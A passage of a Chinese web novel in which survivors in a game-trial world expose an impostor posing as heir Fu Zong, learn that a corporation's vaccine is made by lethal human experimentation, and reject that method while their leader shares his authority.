当初在傅家,他压着所有傅家人低头道歉,傅倧更是被关在游泳池里冻了一整天,只敢站在傅家主身后阴郁地看着他——也不是第一天知道他不好惹,现在才来害怕? 思索片刻,谢叙白做出邀请的手势,面不改色地道:“请进吧。我也替我们的人道一句不是,有些怪物喜欢披着人皮上门作祟,大家难免有点应激。” 傅氏员工脸色难看:“你在这里阴阳怪气什么?” 谢叙白疑惑地看向基地众人:“我阴阳怪气了吗?” 基地众人怎么会拆自家副所长的台,忙不迭摇头:“怎么会?”“没有,没听出来。”…… 于是谢叙白情真意切地看了回去:“可能是大家太累了,没关系,都是为了大家,可以谅解。” 几名员工被这副茶言茶语刺激得够呛,义愤填膺地劝告傅倧:“少爷,算了,这里不欢迎我们,我们何必留下来怄气!” 他们这么说,未尝没有故技重施再用道德压人的嫌疑,谢叙白立马神色一紧:“没有,真不是这个意思,各位,各位!你们要实在觉得这里住不惯,没关系,我们隔壁有家酒店,装潢精美,服务周到……” 傅氏员工原本见谢叙白改了语气,还挺自得,没一会儿在人半推半就的迎送下猛然清醒:不对啊,为什么对方在把他们往外赶?都快出大门了! 也是傅倧反应够快,拧眉站定快言快语:“不,我们就住在这里,方便研发疫苗。” 一提到疫苗,众人本就有些按捺不住的眼神忽地热烈燃烧。 谢叙白合掌一拍,似乎感动得不行,双眼通红激情扬声道:“好!只要大家有这个心,什么难关对抗不了?事不宜迟,我们现在就去实验室!李医生,叫几个人帮他们搬行李,特别是疫苗,直接送进实验室,记住这事头等重要,千万不能耽误了啊!” 李医生反应过来,这不正好吗,立时大喜过望,叫上一大批人赶去车上搬东西,大家早就等不及了,浩浩汤汤地往车边上挤。 傅氏员工慌张回头,大喊:“不用!我们自己来!别动那个箱子!” 甭管原本他们打算用疫苗钓着裴玉衡多久,从那狰狞扭曲的表情看,一定没打算照面就送上。 无奈李医生等人就堵在车门边,和怪物争斗得多了,浑身都散发血腥气,像个土匪,虎视眈眈地往里瞅。看那架势,傅氏员工毫不怀疑,只要他们拿出疫苗,瞬间就会被洗劫一空! 一群人僵持不下,终究还是幸存者基地的人多,让傅氏集团处于下风,咬牙切齿地把疫苗拿出来,恨得牙痒痒。 研究人员欢欢喜喜地把疫苗送进实验室,傅氏员工有多郁猝,他们就有多乐呵。 谢叙白对裴玉衡耳语几句,以防再有人被傅倧迷惑心智,借着接风洗尘的由头,亲自将傅倧等人带到客房放置行李。 傅倧等人领略过他见缝插针颠倒黑白的话术,即使被谢叙白淡然的目光盯得头皮发麻,也不敢再轻易吱声。 傅倧也在暗暗使眼色,让他们低调一点。 谢叙白不动声色地将这一幕收纳眼底,猜想傅倧未必没有让人放低戒备再趁机找事的打算。 但傅倧还是错估了谢叙白的下限,他们稍作休整来到实验室,结果所有研究人员脸上清一色戴着太阳眼镜或墨镜,分分钟可以拉出去上演一场黑客帝国,表情差点裂开。 “你们就戴着太阳眼镜做实验?” 谢叙白面不改色也给他们递过去几副:“是啊,这是我们实验室的传统,也给你们准备了。” 傅氏员工双眼一瞪,试图从规范性来批判他们的失格,谢叙白当即苦了脸,几乎要声泪俱下:“你们是不知道,实在是没办法!不幸进入这个鬼地方,生存都成了难题,能凑足一套实验设备不容易,哪还顾不上什么规范不规范。” 他期盼地看过去:“我看你们行李箱里好像有多余的护目镜和实验服,还有那些器材药剂,不如——” 这一看就是要狮子大开口的架势,员工头皮发麻,连忙止住话题。 李医生观摩完整个过程,佩服得五体投地,和裴玉衡低声说:“我算是见识到了,这就叫恶人自有恶人磨。” 裴玉衡自觉孩子哪儿都好,不认同恶人的称呼,纠正道:“一物降一物。” 旁边听上一耳朵的傅氏员工额角青筋都要跳起来了。 谢叙白的心情并不轻松,诚然傅倧等人的想法天真了点,还能以为自己能在别人的地盘上摆架子耍威风,但傅家敢放他们继承人以身犯险,就肯定会有后招。 果不其然。 李医生等人迫不及待地试验疫苗,发现确实对污染有抑制效力,并且极其安全稳定,不会像之前那样突然变异! 结果出来的一瞬间,众人呼吸都不稳了,从目光中传出某种极其高涨滚烫的情绪,不一会儿,他们双眼通红,热泪盈眶。 “是真的,是真的疫苗!疫苗有效!”“快掐我一把,谁来掐我一把,让我看看自己是不是在做梦!”…… 也有人感觉到不真切,恍惚片刻,嘴里迸溅出一道闷闷的哭腔:“两天,就差两天!他们哪怕再坚持两天呢,就能等到了啊。” 说的是前两天报出死讯的探索小队,明明不久前才见过面,印象却已经变得模糊。当死亡成为常事,记忆或许就会麻木。说到底,他们也不过是一群普通人,有人第一次拿到枪,哆哆嗦嗦连保险都不会开,却要面对呼吸就有可能感染成怪物的地狱。 众人悲从中来,几个月的时间,不知道有多少人如他们一样牺牲,一别就是永远。 可是现在好了,有疫苗了,再也不用担心受伤会被污染成怪物,生存几率极大提升! “有希望了,大家都有救了!只要我们再接再厉,终有一天能——” 话音未落。 傅倧兜头给他们泼下一盆冷水:“我理解大家激动的心情,但我还是想要提醒大家,疫苗里的抗污染物质,没法人工合成。” 众人笑脸一僵,猛然想起傅倧之前是提了一句此行只为研发疫苗,如果能够大批量生产,那还用研发什么?傅氏独吞秘方,能赚得盆满钵满,甚至能在联盟政局那里横着走。 从天堂跌入地狱的痛苦也不过如此,他们急不可耐地冲傅倧问道:“没法人工合成,这些疫苗又是从哪儿来的?” “我不能说,因为事情过于匪夷所思,说了大家恐怕也不会相信。答案就在傅家实验室,我劝你们跟我去实地考察,眼见为实。” 傅倧似笑非笑地凝视裴玉衡,猝然砸下一个重磅炸弹:“裴玉衡,你有多久没见过自己的导师了?他可一直都在傅家等你呐。” 第108章 出其不意 ……他说什么? 老师消失这么多天难道是被傅家掳走的?! 裴玉衡盯着傅倧笑意盈盈的脸大脑一片空白,顺着对方意有所指的目光,视线不可控制地定格在疫苗上。 他耳边似有若无地回响起自己当年万般恳求的声音:“陈教授,求求您,只要您给我一个机会,我能帮我们实验室拿顶刊。” 那人无奈地叹息,烦不胜烦地拒绝道:“小裴啊,不是我怀疑你的水平,也不是顶刊不顶刊的问题——你知不知道自己得罪的是谁?就算你有那个实力,这顶刊也得有命发出去才行。” “我之后都很忙,没什么空,别再来了。” 门咔嚓一声关上,严丝合缝地将裴玉衡堵在外面,他听到自己胸口传来愈发沉重的呼吸,脚下的地板好像化作泥潭,每走一步都让黏稠的泥土挂上腿脚,越来越沉,越来越沉。 他几乎要走不动了,忽然身后传来一道儒雅温和的声音:“裴玉衡?果然是你!你之前是不是来找过我?当时我在外面开会,现在有时间了。我看过你的邮件,还没毕业就能出成果,很不错的嘛,毕业后要不要来直接跟我?” “我可能没什么能耐。”周潮生在他转身惊讶瞪眼的同时笑了笑,“但保你研究生毕业还是没问题的。” …… 橙黄色的药剂好似血一般浓稠,一个不敢置信的猜想如同长满尖刺的荆棘刺穿裴玉衡的心脏,刹那间他的心跳都快凝滞了,双手几乎瞬间朝傅倧的衣领拽过去,目眦欲裂:“你——” 一个轻微的力道压在裴玉衡的手臂上。傅倧用疫苗收获众人好感,眼下绝对不是爆发冲突的好时机。 可裴玉衡忧虑导师的处境,完全静不下心。谢叙白尝试用精神力安抚他,感受到他对傅家的愤恨源源不断地传出。裴玉衡扣住谢叙白的手颤抖个不停,像笼子里打转的困兽。 谢叙白皱眉冷视傅倧。 前有基地众人如饥似渴地想要知道疫苗的成因,后有裴玉衡的导师疑似被关押,哪怕傅家是龙潭虎穴,这一趟他们也必须要去。 众人见傅氏的人风尘仆仆,商定明早再出发,好让大家养足精力。 傅倧没有推拒。除了疫苗之外,他还掌握着外界的情报,能准确说出谁的双亲就诊于哪家医院,谁的兄弟姐妹被接到哪个避难点。 联盟政局决定火力肃清污染的消息是真的,这极大程度加重了众人的心理负担,气氛沉郁至极。 在这样的前提下,听到亲朋好友的消息,不亚于戳心窝的大杀器,只是闲聊几句,便忍不住怆然泪下。 傅倧耐心十足的告慰,再一次在众人的心里博得不少印象分。 傅倧好以整暇地等待着,等裴玉衡沉不住气,跑来央求他告知导师的处境,可一直到天蒙蒙亮,都没看到人影。 ——裴玉衡极重情义,竟然这么沉得住气? 傅倧枯等一晚上,有股事情超出预料的窝火,脸色不怎么好看。 当他风风火火地带着人来到集合地点,发现裴玉衡两人竟然都不在时,立马有股不妙的预感。 负责清点人数的研究人员听到他的询问,讶异道:“所长?他和副所长昨天晚上就出发了,您不知道吗?” 虽然傅倧说傅家是研发疫苗的关键,但所有人都不会认为里世界的傅家和现实世界是一回事。也因为傅倧故作高深,什么线索都不愿透露,众人不免有些惴惴不安,担心实际结果会和现实有出入。 谢叙白便借此说他们提前去探探路,排查危险。大部分研究人员被留下来,等待傅倧他们一齐出发。 傅倧感到不可思议:“他们竟然丢下我们先走了?” 李医生被谢叙白临行前拉去做思想工作,堆起和蔼可亲的笑容过来打圆场:“不是先走,是先去探路。傅少爷不知道这里有多危险,到处都是怪物,你所知道的傅家可能早就变了样,还是探查完情况再去更保险,你说是不是?” 傅倧环视众人深以为然的表情,猛然发现自己低估了他们对裴谢两人的忠诚度,这么不合理的安排,竟然没有一个人觉得有问题! 如果基地几名管理知道傅倧的想法,约莫会嗤之以鼻。 在傅倧说出疫苗两个字,且没有重火力武器护身的时候,人群就有不下十人在蠢蠢欲动。经历过那么生死,目睹过那么多惨剧,人心早就变得自私冷漠,奉行“无论什么东西拿在手里才是实实在在”的道理。 他们肯老老实实地接待傅倧等人,不过是谢叙白两人留在现场,威望尚在。不然别说等一晚上,就是一分一秒一个呼吸,大家也等不下去,非逼着傅倧说出疫苗的具体研发过程不可。 现下,人心就有些许浮躁。 大家围聚在傅倧的身边,旁敲侧击地询问疫苗的来源。他们不相信傅倧原先的说辞,什么说出来没人会信?这不就是吊人胃口画大饼吗!别说事实有多么不切实际,等他们听完之后自有定夺! 傅倧原本以为掌控基地众人是手拿把掐,没细想敷衍他们的后果,如今谢叙白给每个人紧急分配一副遮光眼镜,他才尝到能力不奏效的苦楚。 面对二三十个人看似友好实则咄咄逼人的询问,他的表情越来越乱,细看能品出一丝厌恶和不耐烦:“不是不愿意告诉大家,是我不能明说——” 在场都是人精,若说傅倧之前伪装得好,让他们心生好感,那么现在印象就全变了:“是不能明说还是不想说?傅少爷,我们这么相信你,你可不能把我们当猴耍呀!” 看着得寸进尺的众人,傅倧怒了,一瞬间他的手中凭空出现什么东西,偌大的气浪从中爆开,将围聚在此的所有人大力掀飞! 人们始料未及,身体撞在地板上几乎散架。傅倧居高临下地盯着他们,像是不屑于开口,扬唇露出一个狞笑。他手里是个类似遥控器的东西,按一下,就能发出常人难以抵挡的冲击波。 谁想到一道金光从旁蹿出,死死地拽住他的五指,把东西打落下来,反擒住他的手腕。 傅倧脸色瞬变,盯着暗处现出身影的两个人,谢叙白和裴玉衡竟然没走! 他看看这两人,再看看从地上爬起满眼恼恨的众人,忽地反应过来:“这些都是你计划好的?” 让心气浮躁的众人逼他开口,就算不是谢叙白安排的,他也一定早有预料。傅倧猜想谢叙白这么做,是要剥夺大家对他的信任,结果谢叙白捡起地上的遥控器,笑了,问出让他肝胆俱裂的一句话:“玩家?” 第109章 阴云密布 谢叙白将遥控器拿在手里的瞬间便确定了,这是个道具。一般NPC受到认知干扰,即使得到道具也无法使用。 不排除有和他一样的特殊情况,[傅倧]初见时看陌生人的眼神也只是没反应过来,但谢叙白总能抱着三分猜测,演绎出十分的笃定。 当初他淡淡地扫过去,一句“玩家?”能把排行榜前五的魔术师吓得灵魂出窍,如今的傅倧也是不逞多让,冷汗唰一下就下来了,错过反击的最佳时间,被金光反挽胳膊死死压制在原地。 [傅倧]慌张环顾四周,发现包括裴玉衡在内的其他人都对这两个字没什么反应,忽然意识到事情还有转机,急忙开口大叫:“你也是玩家?别杀我,我们可以合作!” 回顾之前种种,[傅倧]仍旧不知道自己究竟在什么地方露出的马脚,颇感压力地道:“难道你没发现?明明活过二十天就算通关,可现在他X的好几个月都过去了,通关进度没有半点动静!S级试炼和我们以往遭遇的都不同,再不想想办法,我们所有人都会被困死在这里!” “你的角色任务是不是也是为裴玉衡塑造设定?我们的目标一致,为什么不合作?多一份助力就多一个保险不是吗!” 谢叙白面无表情地蹲下身,和被按在地上的[傅倧]平视。就算视角处于同一高度,这股宛若被人从头剖到尾的注视仍旧让[傅倧]慌了神。 “合作吗?当然。”谢叙白慢条斯理地说,“疫苗到底是什么,周潮生是否安然无恙。只要你如实回答这两个问题,我就考虑放了你,和你合作。” [傅倧]:“你先放开我。”他心思活络,这两件事相当于他的底牌,怎么可能直接告诉谢叙白,再怎么都要套路一番,为自己谋得机会。 谢叙白将他眼底的算计收纳眼底,忽地笑了一声,转身看向傅氏员工,举起手中遥控器:“你们一直跟在傅少爷身边,能不能认出这东西是什么?” 少爷被人给挟持了,傅氏员工义愤填膺,但[傅倧]在谢叙白的手里,他们不得不忍气吞声,老实回答:“不认识。” “不认识吗?那我倒是见过其他人使用类似的东西,一群喜欢盗取他人身……” [傅倧]越听越不对劲,脸色煞白:“闭嘴!” 疼痛残留不散,有人仍对[傅倧]刚才使出的杀招惊疑不定,重点在普通人可没法操控飓风,神色狐疑,怀疑他不是人类。 原本[傅倧]是看主要角色都不在,打算将这群炮灰能杀的杀,再挟持几个威胁谢叙白两人,到时候人都死光了,谁能质疑他的身份?谁想到偷鸡不成蚀把米,反成了瓮中之鳖。 眼下人们对他的身份众说纷纭,重点是傅氏员工都在这儿,万一问到几个身份细节,他回答不上来,那他岂不是…… [傅倧]惶恐地盯着谢叙白,满眼都是红血丝,知道自己要是再不透点底别想堵住这人的嘴:“疫苗是血,人类异化成怪物后的血!” 他以为这件事足以引起轩然大波,谁想到李医生等人皱了皱眉头,脸色都不带变一下:“还有呢?” 不是,你们这么淡定的吗?? [傅倧]不知道他们已经研究过这个方向,面对众人的再三追问,咬牙再说:“一次不够,起码要经过多次人体稀释,免疫系统才能勉强抵御住毒性,产生抗体。” 他说傅氏集团研究发现,污染物质进入人体内的前几分钟时间会自发降低活性,表现为分裂繁殖,而这个时候也是它最“虚弱”的时候。将其提炼出来,注入另一个人的体内,后者异化成怪物的时间会大大延长,可证实污染物质被【稀释】。 但二次提炼还不够,那是一种全新的病毒,攻击性极强,免疫系统仍旧会在瞬间被破坏殆尽,需要不断地提炼,不断地用人当培养基,再三稀释,才能得到稳定的疫苗。 换而言之,一份疫苗,是用数不清的人命堆出来的。 听完[傅倧]所言,空气仿佛被抽干,陷入死一般的沉寂。 李医生尚且抱有希冀的眼神瞬间暗沉下去,其他人也是一应的缄默无声,被这惨无人道的真相轰的一下砸蒙了。原来不是他们没找到路子,而是他们的心还不够狠。 执行人员嚅嗫嘴唇,表情简直要疯:“傅少爷,傅氏集团怎么能做这种事?那可是活生生的人命啊!” [傅倧]强装镇定:“哪项药物不通过临床试验?我们没有胁迫任何人,凡参与人员都是自愿。比起哀悼世人,我们更应该铭记他们的牺牲,如果没有他们自告奋勇,也不会有疫苗的诞生。若非我还要负责实验,我都想成为他们的一份子,贡献自己的力量,哪怕微乎其微。” “我明白了。”不等众人流露出悲悸的神情,谢叙白沉声道,“基地实验室里就有现成的污染物质,既然傅少爷有这份觉悟,不如我们现在就开始研发疫苗,以论真假。” [傅倧]只是随口这么一说,谁想到谢叙白顺杆子往上爬要拉他去当实验品,当即脸色就变了。 众人见状,动容的脸上随即挂满黑线,看透[傅倧]只是空口白话假仁假义,彻底失去原本的印象滤镜。 [傅倧]盯着谢叙白咬牙切齿,裴玉衡艰难消化掉疫苗的来源,深深地吐出一口气,冷声问:“你还没有回答我的老师现在怎么样。” “你老师什么事都没有,他因为疫苗自愿留在了傅家,说起来疫苗的研发还要多亏他贡献出一份力。等你们和我一起去傅氏药业,自然能够见到他。”[傅倧]看起来知无不言。 导师怎么可能协助傅氏集团?裴玉衡第一反应是不相信。 但他无法验证[傅倧]话里的真假性,除非众人到傅氏药业一探究竟。问题是[傅倧]一开始就想把他们往傅家引,那里很有可能设下了埋伏和陷阱,就这么明晃晃地踏进去,不是上赶着找死吗? 众人再次陷入骑虎难下的境遇,[傅倧]心想他们还需要拿自己做人质,有恃无恐,脸上的紧张仓皇逐渐散去,直勾勾地盯着裴玉衡。不知道在想什么,恶意几乎从眼神中满溢出来。 谢叙白看他一眼:“我再问你几个问题,你要如实回答。” 他好言好语,更让[傅倧]坚信有了保命符:“你问。” “你是真心想和我合作?” 此合作刻意强调“我”,既玩家间的合作。[傅倧]想也不想地点头:“这是一定,要不我怎么会透露这么多线索?” 明明是被逼到开口,他却表现得真情实意。谢叙白又问:“你什么时候被系统安排成为傅倧?” 话里夹带个“系统”,会屏蔽NPC的认知,这不就是自己人之间的私密对话?[傅倧]笑着回答:“不知道啊,我也看不到试炼日期,反正睁眼照镜子就发现自己变了样。” 谢叙白面色不变,凑近用两人才能听到的声音询问:“那么好,最后一个问题。” “你的同伙在哪里?” [傅倧]的笑容猝然僵在了脸上。 他瞪大眼睛死死地盯着谢叙白,完全没料到对方会有此一说。那双淡然的眸子凌迟着他,令他话不成声,冷汗直流:“你这话是什么意思?” “如果不是接触过其他玩家,互通线索,你怎么会确信是试炼日期有问题,而不是自己有问题看不见日期?你深信合作的重要性,身边却没有一个队友,这难道不奇怪吗?” 最关键的是,[傅倧]实力不强,被制服后完全没有反击之力。心性一般,谢叙白一个眼神就能诈出他的真话。 试炼不惮于对每个闯关者呈现出最大的恶意,玩家的幸运值甚至可以跌破负数,没有侥幸。 回回碰面,魔术师都会忍不住哀怨几句扮演角色的苛刻程度,越是该场试炼的主要角色,扮演难度就越大。单凭[傅倧]本人,若非有旁人协助,他活不到现在。 [傅倧]结结巴巴:“那是因为……” 谢叙白一句话堵住他的狡辩:“只有‘傅倧’可以被反复扮演,还是你们找到了窃取NPC身份的办法?” [傅倧]:“……” 谢叙白:“别想骗我,我见过真正的傅倧,那个时候他还没有被任何玩家取代。你是中途才成为傅倧的,不是吗?” [傅倧]呼吸都凝滞了,随着一个个底牌被毫不留情地揭露,谢叙白在他眼中完全成了一个怪物。 下一秒光刃压在他的脖颈,割破皮肤的轻微刺痛让他心跳飞起,谢叙白连环炮般的逼问接踵而至:“你在畏惧,你不敢说,难道你的同伙就在附近关注你的一举一动?他在什么位置?东南西北,是么,方位在南!那里有两栋楼,是靠树林的一栋还是另一栋?是靠树林的那栋?具体在哪一个楼层?……” [傅倧]发誓他一声没吭,可谢叙白就像能洞悉人心,精准地找准答案。他愈发恐惧起来,歇斯底里地咆哮:“别说了,别说了!啊啊啊啊啊——” 不知不觉间,繁复血红的纹路爬上[傅倧]的脸颊,仿若毒蛇露出獠牙,将他撕咬。如果严岳等人在这,会一眼认出这就是当初那个叛徒玩家被幕后组织控制暴毙,临死前出现的征兆。 [傅倧]在痛苦中预料到自己的死期,怀恨看向谢叙白,却撞上一片平静。难道对方知道他会被灭口?不可能,难道他不打算去傅氏药业查明真相? “没有……我的协助,你,你们……” 他嘶哑地吐出这句威胁,却仍看不到谢叙白的悔痛,只能带着怨恨和不甘闭上眼睛。 “傅少爷!”人群喧哗,傅氏员工一阵尖叫,将要跑上来大吵大闹的时候,谢叙白将他们拦住:“他不是你们的少爷,是伪装身份的怪物。” “你在胡说八道什么?!”傅氏员工脸色惨白如纸。 但再一转头,他们几乎被吓得魂飞魄散,地上哪有傅倧的尸体?只见一头浑身脓疱体貌可怖的怪物正躺倒在地,身上的血纹越来越多,忽地燃烧起来,将它烧成灰烬。 玄幻离奇的一幕惊呆众人。 谢叙白目视这一切,思绪千回百转。 在他动了杀念之后,【规则】也没冒出来阻止他,他立时意识到[傅倧]的死亡并不会影响历史,从而得出NPC或许能被不同的人扮演的猜测,只是不能确定是【傅倧】的特性,还是每个NPC都能被取代,如果是后者,那麻烦可就大了。 他原本想过要不要放[傅倧]一马,将他当成人质或严加看押,或发展成魔术师那样的盟友,但当[傅倧]嘴里没一句真话,还用不怀好意的目光凝视裴玉衡时,谢叙白便清楚,这人是个祸害,不能再留。即使一时偃旗息鼓,也会在后续找机会给他们下绊子。 谢叙白转向南方向树林边的大楼,刚才有一道精神力波动在傅倧被逼问时泄漏少许,如今又消失得无踪无影,想必那就是[傅倧]的同伙。虽说猜到[傅倧]是被丢出来试探虚实的棋子,可他也没想到这些人下手这么狠辣果断,人死了还不够,还要烧成灰消灭证据。 那些人想必还会卷土重来。 借着[傅倧]化身怪物的由头,谢叙白转向目瞪口呆的执行人员:“我怀疑傅少爷在进来之前就掉了包,真正的傅少爷还留在现实世界,需要有人跨越空间,将这里的消息传递给外界。” 没错,里世界的傅家设下天罗地网等着他们自投罗网,谢叙白不打算踩雷,果断决定把这个乱摊子丢给联盟政局。 第110章 唯有向前 前面提到过,人类的体质不能让他们负担两次空间跨越,需要有人接替执行人员,带新一批幸存者返回现实世界。 在人们的印象中,只要和空间维度有关,都将涉及到一些复杂深奥的空间理论,或高大上的划时代革新科技,非智商奇高的科学怪人不能驾驭。 但现实是,他们不需要掌握什么高超的空间技术,只需要开动车辆,驶入白茫茫的雾中,一路向前。 这不合常理。往常谢叙白他们也曾在白雾中行走,但也没走着走着就回到现实。 听到执行人员说这些救援车在出发前曾经由傅氏集团维修改装,谢叙白一顿,来到车辆旁边,定睛隐约看出点问题,但不确定,伸手欲要触碰上面的墨绿色涂装。 还没碰上去,裴玉衡蓦然将他的手拉开,表情比任何时候都要凝重难看:“别碰。” “下面有东西,涂装是为了遮盖它的存在。” 谢叙白一听,随手捡来树枝小力剐蹭。 那东西质地细腻柔软,薄薄一层像布般包裹住车身,韧性十足,似乎溢散着挥之不去的血腥味。 在户外放置一晚上,被湿冷的雾气浸润,有些起皱发润,树枝压上去的瞬间,顺着压痕渗出黏腻的油脂。 谢叙白忽然感觉一阵恶寒,快速将手抽离。 他向来不惮于以最大的恶意揣测那些丧心病狂的人,可不断的经历总会冒出来痛斥他的天真。 谢叙白和裴玉衡回头看向压抑又躁动的人群,疫苗研制的惨痛真相让活泼的气氛变得怪异无比。 特别是那些研究人员,都是谢叙白当初精挑细选出来的人选,品性纯良,如今他们在伦理道德和生存大义之间被反复拷问,没有一个不拧眉痛苦。 就在这时李医生走了过来。 作为实验室里的年长者、经验者,原本的防疫中心副主任,他在进入实验室后一改暴躁的脾气,从不和谢叙白两人争权夺利,导致很多人经常容易忽略他的存在。 但在这人人萎靡不振的节点,那些在心里沉淀多年的东西,支撑着他比年轻人更快振作起来,展现出百折不挠的坚毅沉稳。 谢叙白两人在车辆涂装上发现的蹊跷,他也发现了。 李医生说:“如果一定要有人将消息带到现世,那就让我去吧。” 他知道裴玉衡一定会留下来,因为离开后就不能返回。就算疫苗顺利研发出来,遇难者还是会不断掉进里世界,需要一个卫生所——现在的幸存者基地来安置他们。 李医生总有个预感,那个假傅倧似乎冲着裴玉衡而来,看裴余寸步不离地留在裴玉衡身边,或许就是为了保护所长。 裴余也走不了。 但假傅倧透露的消息过于惊世骇俗,必须有一个足够有力的身份来汇报,才有可信度,至少要引起联盟政局的重视。 “离开前,我只有一个问题。”李医生认真地看着裴玉衡,目光深沉犀利,宛若剖骨,“所长,如今知道疫苗的研制方法,你准备怎么办?” 他说话时,意有所指地看向人群,谢裴两人顺着他的目光看过去。 继良心的痛苦煎熬之后,有人渐渐反应过来,脸上的表情发生了一些微妙的变化,让人不寒而粟。 恶魔微微一笑,朝人间抛洒黄金雨。人们仰天而视,被黄金的光泽晃花了眼,再回头,双手高举,双眼通红,举世皆敌——恶的种子以私欲为壤,将在人的心中生根发芽。 所以李医生问裴玉衡:你会怎么做,你是否认同傅氏集团的做法? 裴玉衡看一眼谢叙白,深深地吸了一口气,语气坚决:“这个口子不能开。” 或许[傅倧]透露的消息不假,以命换命的方法行得通,但它绝对不能被普罗大众认定成真理,否则人类之间将无法避免自相残杀。 裴玉衡:“我会和裴余做一场戏,证实[傅倧]说的话只是怪物惑乱人心的谎言。之后我们会找到傅氏药业的原始资料,将它们全部摧毁。” 听上去很简单,实际做起来非常困难,但他们能从一家什么都没有的卫生所走到今天的幸存者基地,遇到的哪一个问题不算难? 李医生不怀疑裴玉衡两人有做到的能力,准确来说,他不怀疑裴余有这个能力。这人的强大和神秘大家有目共睹,有时候宁愿得罪裴玉衡,也不敢去招惹裴余。 但这不是裴玉衡要解决的重点。李医生语调沉沉地问:“那疫苗该怎么办?” 研发不出疫苗,抑制不住污染,联盟政局火力肃清的决定就像锋利的剑刃高悬头顶,让他们大气都不敢喘一下。 如果他们足够狠心,完全可以丢下眼前的这群人一走了之,包括之后可能进入里世界的遇难者,又和他们有什么关系? 但是李医生做不到,谢裴二人更做不到。那一条条人命不是写在报道里的冷冰冰的数字,而是日复一日的亲切问候、信赖的眼神、朝夕与共的坚守,和每一张带有温度的笑脸。 所以李医生知道,裴玉衡面对的难题不止是打消人们以命换命的念头,更有承载着众人万千期盼的沉重压力。 裴玉衡嚅嗫嘴唇。 李医生轻唤他:“所长。” 唯独在此刻,李医生的眼神异常清明,细细地审视着他,仿佛他有哪怕一丝的歪念邪意,都难逃这双眼睛的探查。 裴玉衡说不出假话,他轻轻叹气,不见被逼问的心虚和愤怒,反而宽慰地笑了一声:“我知道你在担忧什么,我向你保证,不会的。你这么认真,倒是让我放下了心。我再也不用担心万一哪一天我走上歪路,没人前来制止我。” “其实有一件事我考虑了很久,阿余。”裴玉衡对谢叙白说,“你之前告诉我,我们所听到的声音,其实就是这片土地的意识,土地会认主。那么你可不可以帮我转告它,我想将自己的部分权限转移给李医生。” 如今幸存者基地一日日壮大,甚至孕育出了【规则】的雏体,裴玉衡昼夜辗转,发现自己就像手捏着原子弹的独裁者,谢叙白在的时候还好说,若是日后他回去自己的时代,那还有谁能制服住自己? 人都是多变的,裴玉衡不否认人性之善,但他也绝不低估人性之恶,哪怕这个人是他自己。 所以他决定将权利分散出去,为自己亲手套上枷锁。 谢叙白一愣,想到分散出去的权利将来可能会危害到裴玉衡的性命,第一反应是制止。 也是这个时候,【规则】忽然发出警告,谢叙白猛然回神。 他醒悟过来,自己正在见证历史中至关重要的一环,也是他曾百思不得其解的疑惑:为什么李主任能够争夺院长的位置? 现在答案明晃晃地摆在眼前:这项权力竟然是裴玉衡亲手委托出去的。 思及李主任后来用这项权力闹了个大乌龙,误伤到裴玉衡,难免令人哭笑不得。但从结果上看,如果没有李主任开场时的冲动行事,或许埋葬在历史长河中的“裴玉衡”永远无法重见天日。 这既是历史的循环相接。 李医生在听完裴玉衡的大概解释后,忽然有股受宠若惊的感觉,下意识回绝道:“让我来吗?不行不行,你把权力交接给我,要是连我也堕落了,产生那些不该有的念头,那——” “那不是还有我吗?”裴玉衡笑了,接下他的话,“如果我想不义事,就由你来约束我,如果你起了歪念,就由我来规劝你,两相制衡,协力并进。” 无声听着他们两人的对话,谢叙白忽然冒出个念头:有没有可能,最初主任团的作用就在于此? 只是李主任不清楚裴玉衡和傅倧之间的纠葛,裴玉衡受限于某项规则,没法将真相告知,才让李主任误以为敌,对伪装成傅倧的裴玉衡愈发生恶。 原本制衡相协的主任团体,也被扭曲了原本的意义,拉帮结派之风盛行,变成树下腐烂发臭的根系。 谢叙白默默拿出摄像机。 还在相互推拒的两人唰一下转向他,谢叙白淡定道:“没事,你们继续,我就录个像。” ——有了录像,回去劝李主任整顿主任团也好有个理由,如果李主任不忍心下手,那就逼【规则】开刀。 李医生看着谢叙白那淡然微笑的脸,莫名一阵寒颤。 在谢叙白的见证下,懵懵懂懂的【规则】被呼唤出来,完成部分权力的交接。 得到权限的一瞬间,李医生感觉整个世界都不一样了。 他在这种玄之又玄的感悟中,体会到裴玉衡的无私和真挚,若有所思地看向对方,眼神愈发深邃,镌刻着忠心耿耿:“感谢您的信任,必将不负所托。” 幸存者基地的权限对半,一半在裴玉衡,一半在谢叙白。如今裴玉衡将自己的权限分一半出去,等同于谢叙白权限最高。 当谢叙白提议将自己的权限交给裴玉衡的时候,却遭到了拒绝。 裴玉衡原话如此:“做主的权力留给你,我更放心。” 往往做父亲的人很难向子女低头,因为他们有身为年长者的自尊,但谢裴二人不存在这个问题。其缘由可能是裴玉衡的年龄比谢叙白还小一点,更源于他们之间不需要说出口的信任。 李医生准备出发,上车的那一刻,他挣扎片刻,似乎做出某个决定,探手抚摸到车皮。 入手不是金属的冰冷,而是一种柔软的触感,它微微鼓起,在李医生的掌心蠕动,好似怨恨的活物在作祟,叫五十多岁的中年男人顿时头皮发麻,骇得差点抽手跳开。 他连连换气,脸上的恐惧挥之不去,关键时刻,谢叙白的精神力落在他的身上,为他坚信自己的信念。 李医生得以在那无边的怨气中,将心中所想如实说出:“我知道,你……你们心里有恨。” [傅倧]说,参加实验的人皆是自告奋勇,但如果他们真是自愿,怎么会产生这么大的怨念? 冥冥之中,他好像听到车身传来阵阵阴笑,接触车皮的皮肤也想被抽干了温度,被冷意侵蚀,变得僵麻。车皮逐渐鼓起,竟是变出了人的五官,狞笑看向他们。 但李医生没有回避,有谢叙白精神力抚慰的一份力,也因他个人的坚毅:“我这一次出发,就是为你们陈述冤情,只有把这件事呈报给上级,才能让你们解脱,才不会让更多的人被害。” “所以,帮帮我们吧。” 李医生其实不善交谈,要不然,凭他可以操作高精度生物实验的技术,也不会在未完全开发的偏僻区县的空架子防疫中心里,当一个没有实权的副主任。 面对怨气横生的怨灵,他使出浑身解数,承诺风光大葬,承诺拿出存款烧纸钱,烧个几百几千万(冥币)。 谢叙白隐约感应到怨灵们的执念不在钱财,正要上前帮忙,却看见车上的几张人脸在聆听李医生的恳求,狰狞的棱角轮廓慢慢消失,安安静静的,竟露出几分温和。 或许李医生说话笨拙,但怨灵能感受到他的真挚,直至李医生说出重点,保证日后找出他们的身份和遗物,将之交付给家人,以人类的身份回归现实,魂归故里,张牙舞爪的人脸终于完全消失。 最后李医生上了车,几个和他有同样觉悟的人陪同在侧。 车子发动,引擎声爆出嗡鸣,在众人的目送下,坚定地驶入苍茫且看不见底的白雾。 